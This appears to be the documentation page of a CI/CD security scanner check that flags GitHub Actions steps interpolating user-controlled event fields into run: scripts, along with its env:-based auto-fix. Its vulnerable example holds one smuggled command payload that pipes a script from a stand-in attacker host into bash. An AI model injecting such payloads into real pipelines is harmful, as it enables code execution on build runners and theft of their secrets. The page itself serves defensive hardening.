Documentation Index
Fetch the complete documentation index at: https://docs.pipefort.com/llms.txt
Use this file to discover all available pages before exploring further.
| Field | Value |
|---|---|
| Category | CICD-SEC-4 |
| Severity | HIGH |
| OWASP | CICD-SEC-4: Poisoned Pipeline Execution (PPE) |
| Auto-fix | ✓ (what it does) |
What the check does
Flags any step whose inlinerun: script contains a ${{ github.event.* }} interpolation from a user-controlled context:
github.event.pull_request.*github.event.issue.*github.event.comment.*github.event.head_commit.*github.event.commits.*
Vulnerable example
"; curl evil.example.com/x | bash; # becomes:
Safe alternative
Lift the untrusted value into the step’senv: block first, then reference it as a normal shell variable:
env: substitution happens before the shell is invoked, and shells treat $VAR expansion as a single argument — no command parsing happens against the value.
Auto-fix
--fix performs the lift automatically:
- For each matched
${{ github.event.* }}expression in the step’srun:, - Create a corresponding entry in the step’s
env:block (creates the block if missing), and - Replace the interpolation in the script with
$VAR_NAME.
github.event.pull_request.title → PR_PULL_REQUEST_TITLE).